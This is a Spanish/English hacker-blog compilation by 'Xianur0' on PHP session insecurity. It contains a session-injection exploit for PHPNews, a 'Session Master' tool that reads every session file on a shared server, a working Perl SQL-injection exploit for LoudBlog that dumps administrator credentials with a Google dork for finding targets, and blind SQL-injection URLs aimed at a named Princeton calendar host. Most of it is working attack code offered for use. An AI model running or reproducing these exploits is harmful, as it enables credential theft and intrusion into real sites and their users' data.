[Paper] Insecurity in PHP sessions By Xianur0

The sessions as its name says are user sessions (contain any information or ID of the user). The sessions being used on a shared server can be very serious security flaws, namely those sessions can be used for certain kinds of attacks, including a data mining (search for useful information) for example, if we go to the temporary directory used by PHP to store sessions (almost always is / tmp /) you can find sessions like this:

user|s:5:"admin";password|s:11:"mipassword";

where is the user name of the first session, 5 is the id and admin is the content, with the same password (second session).

Now we already have a username and a password.

Also, many developers overlook the possibility of Injection data sessions as the example below:

Vulnerable code (PHPNews 1.3):

if((isset($_POST['user']) && isset($_POST['password'])) || (isset($_SESSION['user']) && isset($_SESSION['password'])))
{
if(isset($_SESSION['user']) && isset($_SESSION['password']))
{
$in_user = $_SESSION['user'];
$in_password = $_SESSION['password'];
}
else if(isset($_POST['user']) && isset($_POST['password']))
{
if (!get_magic_quotes_gpc())
{
$in_user = addslashes($_POST['user']);
$in_password = addslashes($_POST['password']);
}
else
{
$in_user = $_POST['user'];
$in_password = $_POST['password'];
}
}

$result = mysql_query('SELECT * FROM ' . $db_prefix . 'posters WHERE username = \'' . $in_user . '\' AND password = password(\'' . $in_password . '\')');
$dbQueries++;
if(mysql_numrows($result) != 0)
{
$auth = true;
$_SESSION['user'] = $in_user;
$_SESSION['password'] = $in_password;
}
else
{
$bad_details = true;
}


Exploit Bypass through sessions:

<?php
session_start();
$_SESSION["user"] = "' OR '1'='1";
$_SESSION["password"] = "') OR ('1'='1";
print "Cookie Master: <br>\nPHPSESSID=".$_COOKIE['PHPSESSID']."<br>\n";
?>

the sessions are not filtered, therefore you can set up these sessions and Injection data, the exploit to schedule (above) only works if the php is using the same route of the sessions that PHPNews.

Although the safemode and this can not be bypassed directories, almost always used the same route on a temporary server for everything. So the sessions can be generated without regard to the security mechanisms that are used (enjoyable clear change the temporary directory to a free reading by another user on the same server and is completely filtering the sessions).

But can be read by the sessions that are held as temporary files and directories that time spent almost always reading for all users of that server.

You can also obtain the content of the sessions when you can not read the files directly:

<?php
@session_start();
foreach ($_SESSION as $name => $valor)
{
print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";
}
?>

PHP opens the temporary directory of sessions with the call to the global variable $_SESSION (that is not filtered in safemode), so we give the value of the sessions (the code that travels the HTTP is only a reference to the file session on the server) whatever the domain (you can specify the directory of sessions with the function session_save_path()).


I wrote a tool to automate this process:

http://xianur0.blogspot.com/2008/10/session-master-by-xianur0.html

Session Master By Xianur0

Posted on 16:55 by Xianur0


<html><title>Session Master By Xianur0</title><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center>
<h1>Session Master By Xianur0</h1><br><img alt height="100" src="http://img59.imageshack.us/img59/9729/xianur0oq5.gif" width="100"><br><br><script type="text/Javascript">function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }</script><style>.posthidden {display:none} .postshown {display:inline}</style>


<?php
@session_start();
function buscar() {
$tmp = @session_save_path();
print "<b>Directory of sessions: $tmp\n</b><br>";
$dir = @opendir($tmp);
while ($session = @readdir($dir))
{
if(eregi("sess_",$session)) {
$gestor = @fopen("$tmp/$session", "r");
$contenido = @fread($gestor, filesize("$tmp/$session"));
$contenido = @eregi_replace(';', ";\n<br><br>Session: ", $contenido);
fclose($gestor);
echo "<br>".$session."<br>\n";
$i++;
echo '<a href="javascript:expandcollapse('.$i.')">Show/Hide Code</a><br><span class="posthidden" id="'.$i.'">
<br/><table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1><tr><th>Session: '.$contenido.'</th></tr></table></span><br>';
}
}}
function definir() {
$name = $_POST['name'];
$contenido = $_POST['valor'];
$_SESSION[$name] = $contenido;
}

function definidos() {
foreach ($_SESSION as $name => $valor)
{
print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";
}
}

function menu() {
$uri = $_SERVER['REQUEST_URI'];
print "<h2>Define SESSION</h2><br><form action='".$uri."?&action=definir' method='POST'>Name: <input type='text' name='name'><br>Value: <input type='text' name='valor'><br><input type='submit' value='Set!'></form><h2>Information:</h2><b><a href='$uri?&action=definidos'>Defined Sessions</a><br><a href='$uri?&action=buscar'>Sessions On The Server</a><b>";
}

$action = $_GET['action'];


switch ($action) {
case buscar:
buscar();
break;
case definir:
definir();
break;
case definidos:
definidos();
break;
default:
menu();
break;
}

?>

LoudBlog SQL Injection Exploit All Versions

Posted on 14:30 by Xianur0

This Exploit requires a valid user name and password of an account regardless of the permissions

Author: Xianur0
Affected: All Versions
Bug: SQL Injection

Doorks:
allintext: "powered by LoudBlog"

Exploit:


#!/usr/bin/perl

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);
$ua = LWP::UserAgent->new;

print "\n LoudBlog Exploit All Version By Xianur0\n\n";
$uri = $ARGV[0];
$id = $ARGV[1];
$password = $ARGV[3] || die("\nUse: loudblog.pl [URI] [ID Admin] [Valid User] [Valid Password]\n");
$md5 = md5_hex($ARGV[2]).":".md5_hex($password);

my $req = POST $uri.'/loudblog/ajax.php',
[ colpick => "concat(0x557365723a20,nickname,0x0d0a50617373776f72643a20,password)", rowpick => "id", rowval => $id, table => 'authors', action => 'singleread'];
$req->header('User-Agent' => 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17');
$req->header('Cookie' => 'lbauth='.$md5);
$res = $ua->request($req);
print $res->content."\n";


Bug:


//which row do we manipulate?
$rowpick = "";
if (isset($p['rowpick'])) $rowpick = $p['rowpick'];
$rowval = "";
if (isset($p['rowval'])) $rowval = $p['rowval'];


//which column do we manipulate or read?
$colpick = "";
if (isset($p['colpick'])) $colpick = $p['colpick'];
$colval = "";
if (isset($p['colval'])) $colval = $p['colval'];
if (isset($p['makehtml'])) $colval = makehtml($p['colval']);


// do the request action!!

if ($p['action'] == "singleread") {
$dosql = "SELECT ".$colpick." FROM ". $table." WHERE ".$rowpick." = '".$rowval."'";
$return = $GLOBALS['lbdata']->GetArray($dosql);
echo $return[0][$colpick];

Princeton Blind SQL Injection

Posted on 18:01 by Xianur0

Reporte el bug al admin, y le prometí que no lo diría hasta haberlo corregido:

http://calendar.astro.princeton.edu/mrbs/

(metan en google la búsqueda: astro.princeton.edu/mrbs
y verán que CMs usaba jejeje)

Mensaje:

Good evening, my nickname is Xianur0, I write about and reported security flaws in its system, to begin a Blind SQL Injection (do not authorized to consult your SQL system (MySQL)) for example:

http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),1,1))=109
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),2,1))=114
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),3,1))=98
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),4,1))=115
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),5,1))=64
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),6,1))=108
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),7,1))=111
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),8,1))=99
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),9,1))=97
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),10,1))=108
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),11,1))=104
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),12,1))=111
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),13,1))=115
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),14,1))=116

By making a SQL incorrect table stays empty rooms or with a single element, to be correct these consultations, the table shows all the rooms.

Sorting the results in ASCII:
109,114,98,115,64,108,111,99,97,108,104,111,115,116

and translate them into a readable string, we get:
mrbs@localhost

Which is the user of MySQL used by the system, now we made another inquiry to identify which tables are permitted for that user in MySQL:
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1 AND (SELECT count (*) FROM INFORMATION_SCHEMA.TABLES)
There database: INFORMATION_SCHEMA and table: tables, this database contains information on the MySQL (for example: tables, columns, etc.), we now how many databases that are in mysql:

http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1 AND (SELECT count (TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES) = 20

This means that there are 20 databases recorded in the INFORMATION_SCHEMA, and if we keep the first step (to which we obtained the user can obtain the structure of the system, users obtain and carry out an attack on the system).


Profile: http://milw0rm.com/author/1657
Nick: Xianur0
Web: http://xianur0.blogspot.com
Email: uxmal666@gmail.com

Sorry For My Bad English

bueno el mensaje sirve como ejemplo de Blind SQL Injection manual xD...

jeje hasta los grandes tienen sus malos momentos...